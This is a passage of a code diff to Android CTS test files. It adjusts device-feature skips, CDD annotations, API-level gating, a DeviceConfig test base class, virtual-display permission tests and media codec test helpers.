@CddTest(requirement = "7.4.2/C-2-1")
public void testWifiScanningSettings() throws Exception {
- if (FeatureUtil.isTV() || FeatureUtil.isAutomotive()) {
+ if (FeatureUtil.isTV() || FeatureUtil.isAutomotive() || FeatureUtil.isWatch()) {
return;
}
launchScanningSettings();
@@ -115,7 +115,7 @@
@CddTest(requirement = "7.4.3/C-4-1")
public void testBleScanningSettings() throws PackageManager.NameNotFoundException {
- if (FeatureUtil.isTV() || FeatureUtil.isAutomotive()) {
+ if (FeatureUtil.isTV() || FeatureUtil.isAutomotive() || FeatureUtil.isWatch()) {
return;
}
launchScanningSettings();
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
index 4b2f002..2b8509e 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
@@ -39,6 +39,8 @@
import java.util.List;
import java.util.concurrent.TimeUnit;
+import androidx.test.filters.RequiresDevice;
+
/**
* Test computing and verifying the pseudoranges based on the raw measurements
* reported by the GNSS chipset
@@ -256,6 +258,7 @@
*/
@CddTest(requirement = "7.3.3")
@AppModeFull(reason = "Flaky in instant mode")
+ @RequiresDevice // emulated devices do not support real measurements so far.
public void testPseudoPosition() throws Exception {
// Checks if Gnss hardware feature is present, skips test (pass) if not
if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
diff --git a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
index 065441a..be5d6d7 100644
--- a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
@@ -80,6 +80,7 @@
private boolean mIsAutomotive;
private boolean mHasHifiSensors;
+ private boolean mHasProximitySensor;
private boolean mVrModeHighPerformance;
private SensorManager mSensorManager;
@@ -89,6 +90,7 @@
mSensorManager = (SensorManager) getContext().getSystemService(Context.SENSOR_SERVICE);
mIsAutomotive = pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
mHasHifiSensors = pm.hasSystemFeature(PackageManager.FEATURE_HIFI_SENSORS);
+ mHasProximitySensor = pm.hasSystemFeature(PackageManager.FEATURE_SENSOR_PROXIMITY);
mVrModeHighPerformance = pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
}
@@ -215,7 +217,7 @@
}
public void testProximityFifoLength() throws Throwable {
- if (!mHasHifiSensors) return;
+ if (!mHasHifiSensors || !mHasProximitySensor) return;
checkMinFifoLength(Sensor.TYPE_PROXIMITY, PROXIMITY_SENSOR_MIN_FIFO_LENGTH);
}
diff --git a/tests/sensor/src/android/hardware/cts/SensorTest.java b/tests/sensor/src/android/hardware/cts/SensorTest.java
index f48ed77..f64bc75 100644
--- a/tests/sensor/src/android/hardware/cts/SensorTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorTest.java
@@ -37,6 +37,7 @@
import android.hardware.cts.helpers.sensorverification.EventGapVerification;
import android.hardware.cts.helpers.sensorverification.EventOrderingVerification;
import android.hardware.cts.helpers.sensorverification.EventTimestampSynchronizationVerification;
+import android.os.Build.VERSION_CODES;
import android.os.Handler;
import android.os.HandlerThread;
import android.os.PowerManager;
@@ -44,6 +45,7 @@
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.Presubmit;
import android.util.Log;
+import com.android.compatibility.common.util.PropertyUtil;
import junit.framework.Assert;
@@ -563,7 +565,11 @@
sensor.getResolution() <= maxResolution);
}
- if (SensorCtsHelper.hasMinResolutionRequirement(sensor)) {
+ // The minimum resolution requirement was introduced to the CDD in R so
+ // it's only possible to assert compliance for devices that release with
+ // R or later.
+ if (PropertyUtil.getFirstApiLevel() >= VERSION_CODES.R &&
+ SensorCtsHelper.hasMinResolutionRequirement(sensor)) {
float minResolution = SensorCtsHelper.getRequiredMinResolutionForSensor(sensor);
assertTrue("Resolution must be >= " + minResolution + ". Resolution =" +
sensor.getResolution() + " " + sensor.getName(),
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
index f23485f..efb863b 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
@@ -27,7 +27,8 @@
import android.app.AppOpsManager.OP_FLAG_UNTRUSTED_PROXIED
import android.app.AppOpsManager.UID_STATE_TOP
import android.content.Intent
-import android.content.Intent.ACTION_APPLICATION_PREFERENCES
+import android.content.Intent.ACTION_INSTALL_PACKAGE
+import android.net.Uri
import android.os.SystemClock
import android.platform.test.annotations.AppModeFull
import androidx.test.platform.app.InstrumentationRegistry
@@ -258,7 +259,9 @@
fun noteFromTwoProxiesAndVerifyProxyInfo() {
// Find another app to blame
val otherAppInfo = context.packageManager
- .resolveActivity(Intent(ACTION_APPLICATION_PREFERENCES), 0)
+ .resolveActivity(Intent(ACTION_INSTALL_PACKAGE).addCategory(Intent.CATEGORY_DEFAULT)
+ .setDataAndType(Uri.parse("content://com.example/foo.apk"),
+ "application/vnd.android.package-archive"), 0)
?.activityInfo?.applicationInfo
assumeNotNull(otherAppInfo)
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BasicAdapterTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BasicAdapterTest.java
index 2eab364..cd24db4 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BasicAdapterTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BasicAdapterTest.java
@@ -50,11 +50,6 @@
public void setUp() throws Exception {
super.setUp();
- IntentFilter filter = new IntentFilter();
- filter.addAction(BluetoothAdapter.ACTION_LOCAL_NAME_CHANGED);
- filter.setPriority(IntentFilter.SYSTEM_HIGH_PRIORITY);
- mContext.registerReceiver(mAdapterNameChangeReceiver, filter);
-
mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
PackageManager.FEATURE_BLUETOOTH);
mAdapterNameChangedlock = new ReentrantLock();
@@ -165,11 +160,17 @@
BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
assertTrue(BTAdapterUtils.enableAdapter(adapter, mContext));
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(BluetoothAdapter.ACTION_LOCAL_NAME_CHANGED);
+ filter.setPriority(IntentFilter.SYSTEM_HIGH_PRIORITY);
+ mContext.registerReceiver(mAdapterNameChangeReceiver, filter);
+
String name = adapter.getName();
assertNotNull(name);
// Check renaming the adapter
String genericName = "Generic Device 1";
+ mIsAdapterNameChanged = false;
assertTrue(adapter.setName(genericName));
assertTrue(waitForAdapterNameChange());
mIsAdapterNameChanged = false;
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
index decee36..017d7fa 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
@@ -34,6 +34,7 @@
import android.os.Message;
import android.os.Parcel;
import android.os.Process;
+import android.os.UserHandle;
import android.provider.Settings;
import android.telephony.AccessNetworkConstants;
import android.telephony.CellInfo;
@@ -448,7 +449,7 @@
return Process.INVALID_UID;
}
})
- .filter(uid -> !specialUids.contains(uid))
+ .filter(uid -> !specialUids.contains(UserHandle.getAppId(uid)))
.collect(Collectors.toList());
if (nonSpecialPackages.size() > 1) {
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
index fa0572c..2ec7ec8 100644
--- a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
@@ -31,6 +31,8 @@
import android.test.AndroidTestCase;
import android.test.MoreAsserts;
+import com.android.compatibility.common.util.CddTest;
+
public class ContactsContract_RawContactsTest extends AndroidTestCase {
private ContentResolver mResolver;
private ContactsContract_TestDataBuilder mBuilder;
@@ -150,6 +152,7 @@
assertEquals("1", result[1]);
}
+ @CddTest(requirement = "3.18/C-1-5")
public void testRawContactDelete_localDeleteRemovesRecord() {
String name = RawContacts.getLocalAccountName(mContext);
String type = RawContacts.getLocalAccountType(mContext);
@@ -201,6 +204,7 @@
* config_rawContactsLocalAccountName and config_rawContactsLocalAccountType resource strings
* defined in platform/frameworks/base/core/res/res/values/config.xml.
*/
+ @CddTest(requirement="3.18/C-1-1,C-1-2,C-1-3")
public void testRawContactCreate_noAccountUsesLocalAccount() {
// Save a raw contact without an account.
long rawContactid = RawContactUtil.insertRawContact(mResolver, null);
@@ -218,6 +222,31 @@
RawContactUtil.delete(mResolver, rawContactid, true);
}
+ /**
+ * The local account is the default if a raw contact insert uses null for
+ * the {@link RawContacts#ACCOUNT_NAME} and {@link RawContacts#ACCOUNT_TYPE}.
+ *
+ * <p>See {@link #testRawContactCreate_noAccountUsesLocalAccount()}
+ */
+ @CddTest(requirement="3.18/C-1-1,C-1-2,C-1-3")
+ public void testRawContactCreate_nullAccountUsesLocalAccount() throws Exception {
+ // Save a raw contact using the default local account
+ TestRawContact rawContact = mBuilder.newRawContact()
+ .with(RawContacts.ACCOUNT_TYPE, (String) null)
+ .with(RawContacts.ACCOUNT_NAME, (String) null)
+ .insert();
+
+ String[] row = RawContactUtil.queryByRawContactId(mResolver, rawContact.getId(),
+ new String[] {
+ RawContacts.ACCOUNT_NAME, RawContacts.ACCOUNT_TYPE
+ });
+
+ // When the raw contact is inserted into the default local account the contact is created
+ // in the local account.
+ assertEquals(RawContacts.getLocalAccountName(mContext), row[0]);
+ assertEquals(RawContacts.getLocalAccountType(mContext), row[1]);
+ }
+
public void testRawContactUpdate_updatesContactUpdatedTimestamp() {
DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
index ceaee73..9613b14 100755
--- a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
@@ -26,6 +26,8 @@
import android.test.AndroidTestCase;
import android.test.suitebuilder.annotation.MediumTest;
+import com.android.compatibility.common.util.CddTest;
+
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
@@ -109,6 +111,7 @@
* {@link android.provider.ContactsContract.RawContacts#ACCOUNT_TYPE} that do not correspond
* to an added account will be removed but this should not be done for the local account.
*/
+ @CddTest(requirement="3.18/C-1-4")
public void testAccountRemoval_doesNotDeleteLocalAccountContacts() {
mAccountManager.addAccountExplicitly(ACCT_1, null, null);
ArrayList<ContactIdPair> acc1Ids = createContacts(ACCT_1, 5);
diff --git a/tests/tests/deviceconfig/src/android/deviceconfig/cts/AbstractDeviceConfigTestCase.java b/tests/tests/deviceconfig/src/android/deviceconfig/cts/AbstractDeviceConfigTestCase.java
new file mode 100644
index 0000000..462ee62
--- /dev/null
+++ b/tests/tests/deviceconfig/src/android/deviceconfig/cts/AbstractDeviceConfigTestCase.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.deviceconfig.cts;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.os.UserHandle;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Executor;
+
+@RunWith(AndroidJUnit4.class)
+abstract class AbstractDeviceConfigTestCase {
+
+ static final Context CONTEXT = InstrumentationRegistry.getContext();
+ static final Executor EXECUTOR = CONTEXT.getMainExecutor();
+
+ static final String WRITE_DEVICE_CONFIG_PERMISSION = "android.permission.WRITE_DEVICE_CONFIG";
+ static final String READ_DEVICE_CONFIG_PERMISSION = "android.permission.READ_DEVICE_CONFIG";
+
+ // String used to skip tests if not support.
+ // TODO: ideally it would be simpler to just use assumeTrue() in the @BeforeClass method, but
+ // then the test would crash - it might be an issue on atest / AndroidJUnit4
+ private static String sUnsupportedReason;
+
+ /**
+ * Get necessary permissions to access and modify properties through DeviceConfig API.
+ */
+ @BeforeClass
+ public static void setUp() throws Exception {
+ if (CONTEXT.getUserId() != UserHandle.USER_SYSTEM
+ && CONTEXT.getPackageManager().isInstantApp()) {
+ sUnsupportedReason = "cannot run test as instant app on secondary user "
+ + CONTEXT.getUserId();
+ }
+ }
+
+ @Before
+ public void assumeSupported() {
+ assumeTrue(sUnsupportedReason, isSupported());
+ }
+
+ static boolean isSupported() {
+ return sUnsupportedReason == null;
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
index 6d77ebb..a18bbca 100644
--- a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
+++ b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
@@ -16,6 +16,8 @@
package android.deviceconfig.cts;
+import androidx.test.InstrumentationRegistry;
+
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.fail;
@@ -23,17 +25,13 @@
import android.provider.DeviceConfig.OnPropertiesChangedListener;
import android.provider.DeviceConfig.Properties;
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
import org.junit.After;
import org.junit.Test;
import org.junit.runner.RunWith;
import java.util.concurrent.Executor;
-@RunWith(AndroidJUnit4.class)
-public final class DeviceConfigApiPermissionTests {
+public final class DeviceConfigApiPermissionTests extends AbstractDeviceConfigTestCase {
private static final String NAMESPACE = "namespace";
private static final String NAMESPACE2 = "namespace2";
private static final String PUBLIC_NAMESPACE = "textclassifier";
@@ -41,16 +39,10 @@
private static final String KEY2 = "key2";
private static final String VALUE = "value";
- private static final String WRITE_DEVICE_CONFIG_PERMISSION =
- "android.permission.WRITE_DEVICE_CONFIG";
-
- private static final String READ_DEVICE_CONFIG_PERMISSION =
- "android.permission.READ_DEVICE_CONFIG";
-
- private static final Executor EXECUTOR = InstrumentationRegistry.getContext().getMainExecutor();
-
@After
public void dropShellPermissionIdentityAfterTest() {
+ if (!isSupported()) return;
+
InstrumentationRegistry.getInstrumentation().getUiAutomation()
.dropShellPermissionIdentity();
}
diff --git a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java
index 1f6d96e..9fb039d 100644
--- a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java
+++ b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java
@@ -28,7 +28,6 @@
import android.provider.DeviceConfig.Properties;
import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
import org.junit.After;
import org.junit.AfterClass;
@@ -41,8 +40,7 @@
import java.util.concurrent.Executor;
import java.util.concurrent.TimeUnit;
-@RunWith(AndroidJUnit4.class)
-public final class DeviceConfigApiTests {
+public final class DeviceConfigApiTests extends AbstractDeviceConfigTestCase {
private static final String NAMESPACE1 = "namespace1";
private static final String NAMESPACE2 = "namespace2";
private static final String EMPTY_NAMESPACE = "empty_namespace";
@@ -70,24 +68,16 @@
private static final float VALID_FLOAT = 456.789f;
private static final String INVALID_FLOAT = "34343et";
- private static final Executor EXECUTOR = InstrumentationRegistry.getContext().getMainExecutor();
-
-
private static final long WAIT_FOR_PROPERTY_CHANGE_TIMEOUT_MILLIS = 2000; // 2 sec
private final Object mLock = new Object();
-
- private static final String WRITE_DEVICE_CONFIG_PERMISSION =
- "android.permission.WRITE_DEVICE_CONFIG";
-
- private static final String READ_DEVICE_CONFIG_PERMISSION =
- "android.permission.READ_DEVICE_CONFIG";
-
/**
* Get necessary permissions to access and modify properties through DeviceConfig API.
*/
@BeforeClass
public static void setUp() throws Exception {
+ if (!isSupported()) return;
+
InstrumentationRegistry.getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
WRITE_DEVICE_CONFIG_PERMISSION, READ_DEVICE_CONFIG_PERMISSION);
}
@@ -97,6 +87,8 @@
*/
@After
public void cleanUp() throws Exception {
+ if (!isSupported()) return;
+
// first wait to make sure callbacks for SetProperties/SetProperty
// invoked in the test methods got emitted. So that the callbacks
// won't interfere with setPropertiesAndAssertSuccessfulChange invoked
@@ -114,6 +106,8 @@
*/
@AfterClass
public static void cleanUpAfterAllTests() {
+ if (!isSupported()) return;
+
deletePropertyThrowShell(NAMESPACE1, KEY1);
deletePropertyThrowShell(NAMESPACE2, KEY1);
deletePropertyThrowShell(NAMESPACE1, KEY2);
@@ -1096,4 +1090,4 @@
}
}
}
-}
\ No newline at end of file
+}
diff --git a/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java b/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
index db57eed..3b2406f 100644
--- a/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
@@ -28,8 +28,8 @@
import android.media.ImageReader;
import android.os.Bundle;
import android.os.Handler;
-import android.os.Looper;
import android.os.HandlerThread;
+import android.os.Looper;
import android.os.SystemClock;
import android.test.AndroidTestCase;
import android.util.DisplayMetrics;
@@ -37,7 +37,6 @@
import android.view.Display;
import android.view.Surface;
import android.view.ViewGroup.LayoutParams;
-import android.view.WindowManager;
import android.widget.ImageView;
import java.nio.ByteBuffer;
@@ -76,6 +75,9 @@
private HandlerThread mCheckThread;
private Handler mCheckHandler;
+ private static final int VIRTUAL_DISPLAY_FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS = 1 << 9;
+ private static final int VIRTUAL_DISPLAY_FLAG_TRUSTED = 1 << 10;
+
@Override
protected void setUp() throws Exception {
super.setUp();
@@ -190,6 +192,49 @@
assertDisplayUnregistered(display);
}
+ /**
+ * Ensures that {@link DisplayManager#VIRTUAL_DISPLAY_FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS} will
+ * be clear if an application creates an virtual display without the
+ * flag {@link DisplayManager#VIRTUAL_DISPLAY_FLAG_TRUSTED}.
+ */
+ public void testUntrustedSysDecorVirtualDisplay() throws Exception {
+ VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
+ WIDTH, HEIGHT, DENSITY, mSurface,
+ VIRTUAL_DISPLAY_FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS);
+ assertNotNull("virtual display must not be null", virtualDisplay);
+
+ Display display = virtualDisplay.getDisplay();
+ try {
+ // Verify that the created virtual display doesn't have flags
+ // FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS.
+ assertDisplayRegistered(display, Display.FLAG_PRIVATE);
+ assertEquals(mSurface, virtualDisplay.getSurface());
+
+ // Show a private presentation on the display.
+ assertDisplayCanShowPresentation("private presentation window",
+ display, BLUEISH, 0);
+ } finally {
+ virtualDisplay.release();
+ }
+ assertDisplayUnregistered(display);
+ }
+
+ /**
+ * Ensures that throws {@link SecurityException} when an application creates a trusted virtual
+ * display without holding the permission {@code ADD_TRUSTED_DISPLAY}.
+ */
+ public void testTrustedVirtualDisplay() throws Exception {
+ try {
+ VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
+ WIDTH, HEIGHT, DENSITY, mSurface, VIRTUAL_DISPLAY_FLAG_TRUSTED);
+ } catch (SecurityException e) {
+ // Expected.
+ return;
+ }
+ fail("SecurityException must be thrown if a trusted virtual display is created without"
+ + "holding the permission ADD_TRUSTED_DISPLAY.");
+ }
+
private void assertDisplayRegistered(Display display, int flags) {
assertNotNull("display object must not be null", display);
assertTrue("display must be valid", display.isValid());
diff --git a/tests/tests/jni/Android.bp b/tests/tests/jni/Android.bp
index 8165a9f..5895cf3 100644
--- a/tests/tests/jni/Android.bp
+++ b/tests/tests/jni/Android.bp
@@ -26,6 +26,7 @@
static_libs: [
"ctstestrunner-axt",
"androidx.test.rules",
+ "compatibility-device-util-axt",
],
jni_libs: [
"libjni_test_dlclose",
diff --git a/tests/tests/jni/src/android/jni/cts/JniStaticTest.java b/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
index 4742796..e2bbcd7 100644
--- a/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
+++ b/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
@@ -16,7 +16,9 @@
package android.jni.cts;
+import android.os.Build;
import android.os.Process;
+import com.android.compatibility.common.util.PropertyUtil;
import java.io.File;
import java.io.IOException;
@@ -317,9 +319,11 @@
* dlopen(3) any of the public lib via file name (non-absolute path) should succeed.
*/
public void test_dlopenPublicLibraries() {
- String error = LinkerNamespacesHelper.runDlopenPublicLibraries();
- if (error != null) {
- fail(error);
+ if (PropertyUtil.isVendorApiLevelAtLeast(Build.VERSION_CODES.R)) {
+ String error = LinkerNamespacesHelper.runDlopenPublicLibraries();
+ if (error != null) {
+ fail(error);
+ }
}
}
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index d457995..194b6f6 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -242,6 +242,7 @@
}
@RestrictedBuildTest
+ @RequiresDevice
public void testEcAttestation_DeviceLocked() throws Exception {
String keystoreAlias = "test_key";
Date now = new Date();
diff --git a/tests/tests/media/libmediandkjni/native-media-jni.cpp b/tests/tests/media/libmediandkjni/native-media-jni.cpp
index 7a2671c..2a870b4 100644
--- a/tests/tests/media/libmediandkjni/native-media-jni.cpp
+++ b/tests/tests/media/libmediandkjni/native-media-jni.cpp
@@ -1060,7 +1060,8 @@
jint bitRate,
jint frameRate,
jint iFrameInterval,
- jobject csd,
+ jobject csd0,
+ jobject csd1,
jint flags,
jint lowLatency,
jobject surface) {
@@ -1098,10 +1099,16 @@
}
}
- if (csd != NULL) {
- void *csdPtr = env->GetDirectBufferAddress(csd);
- jlong csdSize = env->GetDirectBufferCapacity(csd);
- AMediaFormat_setBuffer(format, "csd-0", csdPtr, csdSize);
+ if (csd0 != NULL) {
+ void *csd0Ptr = env->GetDirectBufferAddress(csd0);
+ jlong csd0Size = env->GetDirectBufferCapacity(csd0);
+ AMediaFormat_setBuffer(format, "csd-0", csd0Ptr, csd0Size);
+ }
+
+ if (csd1 != NULL) {
+ void *csd1Ptr = env->GetDirectBufferAddress(csd1);
+ jlong csd1Size = env->GetDirectBufferCapacity(csd1);
+ AMediaFormat_setBuffer(format, "csd-1", csd1Ptr, csd1Size);
}
media_status_t err = AMediaCodec_configure(
diff --git a/tests/tests/media/res/raw/testvideo_with_2_subtitle_tracks.mp4 b/tests/tests/media/res/raw/testvideo_with_2_subtitle_tracks.mp4
index b8dce17..ac70dd3 100755
--- a/tests/tests/media/res/raw/testvideo_with_2_subtitle_tracks.mp4
+++ b/tests/tests/media/res/raw/testvideo_with_2_subtitle_tracks.mp4
Binary files differ
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
index e17bf8f..887b868 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
@@ -23,6 +23,7 @@
import android.media.AudioFormat;
import android.media.AudioManager;
import android.media.AudioTrack;
+import android.os.SystemClock;
import android.util.Log;
import com.android.compatibility.common.util.CtsAndroidTestCase;
@@ -38,7 +39,11 @@
private static final int BUFFER_SIZE_SEC = 3;
- private static final int PRESENTATION_END_TIMEOUT_MS = 8 * 1000; // 8s
+ private static final long DATA_REQUEST_TIMEOUT_MS = 6 * 1000; // 6s
+ private static final long DATA_REQUEST_POLL_PERIOD_MS = 1 * 1000; // 1s
+ private static final long PRESENTATION_END_TIMEOUT_MS = 8 * 1000; // 8s
+ private static final int AUDIOTRACK_DEFAULT_SAMPLE_RATE = 44100;
+ private static final int AUDIOTRACK_DEFAULT_CHANNEL_MASK = AudioFormat.CHANNEL_OUT_STEREO;
private static final AudioAttributes DEFAULT_ATTR = new AudioAttributes.Builder().build();
@@ -124,21 +129,23 @@
while (written < read) {
int wrote = track.write(data, written, read - written,
AudioTrack.WRITE_BLOCKING);
- Log.i(TAG, String.format("wrote %dbytes (%d out of %d)", wrote, written, read));
+ Log.i(TAG, String.format("wrote %d bytes (%d out of %d)", wrote, written, read));
if (wrote < 0) {
fail("Unable to write all read data, wrote " + written + " bytes");
}
written += wrote;
}
+
try {
- Thread.sleep(BUFFER_SIZE_SEC * 1000);
- synchronized(mPresEndLock) {
+ final long elapsed = checkDataRequest(DATA_REQUEST_TIMEOUT_MS);
+ synchronized (mPresEndLock) {
+ track.setOffloadEndOfStream();
+
track.stop();
- mPresEndLock.safeWait(PRESENTATION_END_TIMEOUT_MS);
+ mPresEndLock.safeWait(PRESENTATION_END_TIMEOUT_MS - elapsed);
}
- } catch (InterruptedException e) { fail("Error while sleeping"); }
- synchronized (mEventCallbackLock) {
- assertTrue("onDataRequest not called", mCallback.mDataRequestCount > 0);
+ } catch (InterruptedException e) {
+ fail("Error while sleeping");
}
synchronized (mPresEndLock) {
// we are at most PRESENTATION_END_TIMEOUT_MS + 1s after about 3s of data was
@@ -154,14 +161,30 @@
track.unregisterStreamEventCallback(mCallback);
track.release();
}
+ };
+ }
+
+ private long checkDataRequest(long timeout) throws Exception {
+ long checkStart = SystemClock.uptimeMillis();
+ boolean calledback = false;
+ while (SystemClock.uptimeMillis() - checkStart < timeout) {
+ synchronized (mEventCallbackLock) {
+ if (mCallback.mDataRequestCount > 0) {
+ calledback = true;
+ break;
+ }
+ }
+ Thread.sleep(DATA_REQUEST_POLL_PERIOD_MS);
}
+ assertTrue("onDataRequest not called", calledback);
+ return (SystemClock.uptimeMillis() - checkStart);
}
private static AudioFormat getAudioFormatWithEncoding(int encoding) {
return new AudioFormat.Builder()
.setEncoding(encoding)
- .setSampleRate(44100)
- .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
+ .setSampleRate(AUDIOTRACK_DEFAULT_SAMPLE_RATE)
+ .setChannelMask(AUDIOTRACK_DEFAULT_CHANNEL_MASK)
.build();
}
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index 05f486f..b8064c0 100755
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -1602,13 +1602,17 @@
final int TEST_LOOPS = 1;
final double TEST_LOOP_DURATION = 1.;
final int TEST_ADDITIONAL_DRAIN_MS = 0;
+ // Compensates for cold start when run in isolation.
+ // The cold output latency must be 500 ms less or
+ // 200 ms less for low latency devices.
+ final long WAIT_TIME_MS = isLowLatencyDevice() ? WAIT_MSEC : 500;
for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
double frequency = 400; // frequency changes for each test
for (int TEST_SR : TEST_SR_ARRAY) {
for (int TEST_CONF : TEST_CONF_ARRAY) {
playOnceStaticData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
- TEST_LOOPS, TEST_FORMAT, frequency, TEST_SR, TEST_CONF, WAIT_MSEC,
+ TEST_LOOPS, TEST_FORMAT, frequency, TEST_SR, TEST_CONF, WAIT_TIME_MS,
TEST_LOOP_DURATION, TEST_ADDITIONAL_DRAIN_MS);
frequency += 70; // increment test tone frequency
@@ -2094,6 +2098,11 @@
.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
}
+ private boolean isLowLatencyDevice() {
+ return getContext().getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_AUDIO_LOW_LATENCY);
+ }
+
private boolean isLowRamDevice() {
return ((ActivityManager) getContext().getSystemService(Context.ACTIVITY_SERVICE))
.isLowRamDevice();
diff --git a/tests/tests/media/src/android/media/cts/NdkMediaCodec.java b/tests/tests/media/src/android/media/cts/NdkMediaCodec.java
index 7c3791f..d3470c7 100644
--- a/tests/tests/media/src/android/media/cts/NdkMediaCodec.java
+++ b/tests/tests/media/src/android/media/cts/NdkMediaCodec.java
@@ -28,6 +28,8 @@
public class NdkMediaCodec implements MediaCodecWrapper {
private static final String CSD_0 = "csd-0";
+ private static final String CSD_1 = "csd-1";
+ private static final String CSD_2 = "csd-2";
private long mNdkMediaCodec;
private final String mName;
@@ -63,7 +65,8 @@
int bitRate,
int frameRate,
